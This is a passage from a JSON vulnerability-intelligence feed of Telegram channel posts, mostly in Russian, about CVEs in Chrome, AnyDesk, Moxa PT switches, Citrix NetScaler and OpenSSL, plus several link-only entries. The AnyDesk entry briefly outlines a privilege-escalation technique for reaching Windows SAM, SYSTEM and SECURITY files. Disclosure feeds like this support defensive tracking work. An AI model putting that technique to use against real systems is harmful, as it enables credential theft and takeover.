\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "3a93ed0c-140a-412f-aede-024a4f455bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1580", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T12:32:19.000000Z"}, {"uuid": "da520823-e8d1-40eb-9541-3e7b8ce6fb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/true_secator/6827", "content": "\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f Moxa \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 PT, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-12297, \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS v4 9,2 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10,0 \u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u0432 \u0435\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u0440\u0443\u0442\u0430 \u0438 \u0430\u0442\u0430\u043a \u0441 \u043a\u043e\u043b\u043b\u0438\u0437\u0438\u0435\u0439 MD5 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 \u0445\u044d\u0448\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: PT-508 (\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 3.8), PT-510 (\u0432\u0435\u0440\u0441\u0438\u044f 3.8), PT-7528 (\u0432\u0435\u0440\u0441\u0438\u044f 5.0), PT-7728 (\u0432\u0435\u0440\u0441\u0438\u044f 3.9), PT-7828 (\u0432\u0435\u0440\u0441\u0438\u044f 4.0), PT-G503 (\u0432\u0435\u0440\u0441\u0438\u044f 5.3), PT-G510 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5), PT-G7728 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5) \u0438 PT-G7828 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u044f\u044f).\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u0432\u0448\u0438\u0441\u044c \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Moxa.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u0440\u0430\u0437\u0438\u043b \u043f\u0440\u0438\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0410\u0440\u0442\u0435\u043c\u0443 \u0422\u0443\u0440\u044b\u0448\u0435\u0432\u0443 \u0438\u0437 \u0420\u0443\u0441\u0430\u0442\u043e\u043c \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0420\u0410\u0421\u0423) \u0437\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438\u043b\u0438 ACL, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0441\u0435\u0442\u0438, \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c MFA \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0443 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ethernet-\u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0435 \u0441\u0435\u0440\u0438\u0438 EDS-508A, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u043c \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 3.11 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0435\u0449\u0435 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u044f\u043d\u0432\u0430\u0440\u044f 2025 \u0433\u043e\u0434\u0430.", "creation_timestamp": "2025-03-11T13:36:07.000000Z"}, {"uuid": "afc78f8d-fcb9-488b-a25d-07a3cda79109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/true_secator/6762", "content": "Citrix \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0439 \u043d\u0430 NetScaler Console (\u0440\u0430\u043d\u0435\u0435 NetScaler ADM) \u0438 NetScaler Agent, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-12284 \u0438 \u0438\u043c\u0435\u0435\u0442 CVSS v4 8,8 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10,0. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 EoP, \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 NetScaler Console Agent, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0433\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 NetScaler, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0437\u044b.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442: NetScaler Console 14.1 \u0434\u043e 14.1-38.53 \u0438 13.1 \u0434\u043e 13.1-56.18, NetScaler Agent 14.1 \u0434\u043e 14.1-38.53 \u0438 13.1 \u0434\u043e 13.1-56.18, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 14.1-38.53, 13.1-56.18 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 14.1-38.53 \u0438 13.1-56.18 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 (\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e).\n\nCloud Software Group \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c NetScaler Console \u0438 NetScaler Agent \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0441\u043b\u0443\u0436\u0431\u0443 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 NetScaler \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Citrix, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.", "creation_timestamp": "2025-02-20T15:35:05.000000Z"}, {"uuid": "56e166cb-e89f-4996-b9ec-17c16167cdd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/ctinow/230743", "content": "OpenSSL patched high-severity flaw CVE-2024-12797\nhttps://ift.tt/PQwVhu7", "creation_timestamp": "2025-02-11T22:54:05.000000Z"}, {"uuid": "64a3977f-6820-4da7-9d08-3c3620cdc93b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1239", "type": "seen", "source": "https://t.me/ctinow/209325", "content": "https://ift.tt/clQt6CL\nCVE-2024-1239", "creation_timestamp": "2024-03-16T04:26:05.000000Z"}, {"uuid": "c22baf6a-f559-45b3-ba83-81bcdeb5e4ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1239", "type": "seen", "source": "https://t.me/ctinow/209322", "content": "https://ift.tt/clQt6CL\nCVE-2024-1239", "creation_timestamp": "2024-03-16T04:21:36.000000Z"}, {"uuid": "f597aa3d-ad38-4952-8a18-6c690fd5f913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1227", "type": "seen", "source": "https://t.me/ctinow/205825", "content": "https://ift.tt/i0qIwkS\nCVE-2024-1227", "creation_timestamp": "2024-03-12T16:32:11.000000Z"}, {"uuid": "ae8e8a6d-60ae-4961-9106-e80af4306977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1226", "type": "seen", "source": "https://t.me/ctinow/205824", "content": "https://ift.tt/t9g8vdi\nCVE-2024-1226", "creation_timestamp": "2024-03-12T16:32:10.000000Z"}, {"uuid": "5d6e1358-aeb4-4bd4-99d3-5b5b11ddab50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1223", "type": "seen", "source": "https://t.me/ctinow/207430", "content": "https://ift.tt/37kW1CF\nCVE-2024-1223", "creation_timestamp": "2024-03-14T04:26:44.000000Z"}, {"uuid": "934ca6d7-c3d6-4eee-a885-abeb0b464c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1222", "type": "seen", "source": "https://t.me/ctinow/207429", "content": "https://ift.tt/X9EZqI7\nCVE-2024-1222", "creation_timestamp": "2024-03-14T04:26:44.000000Z"}, {"uuid": "0f00ce4a-b129-4707-9023-89fa15cd9df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://t.me/ctinow/207428", "content": "https://ift.tt/Kv1laWD\nCVE-2024-1221", "creation_timestamp": "2024-03-14T04:26:43.000000Z"}, {"uuid": "656871c0-fbbe-43c7-9cd7-90bec62f5bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1223", "type": "seen", "source": "https://t.me/ctinow/207419", "content": "https://ift.tt/37kW1CF\nCVE-2024-1223", "creation_timestamp": "2024-03-14T04:21:49.000000Z"}, {"uuid": "bd66ad56-bb22-4e5f-a1dc-974b2fac8c52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1222", "type": "seen", "source": "https://t.me/ctinow/207418", "content": "https://ift.tt/X9EZqI7\nCVE-2024-1222", "creation_timestamp": "2024-03-14T04:21:48.000000Z"}, {"uuid": "9884838a-5c24-4ec9-9d60-8eb12537ffbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://t.me/ctinow/207417", 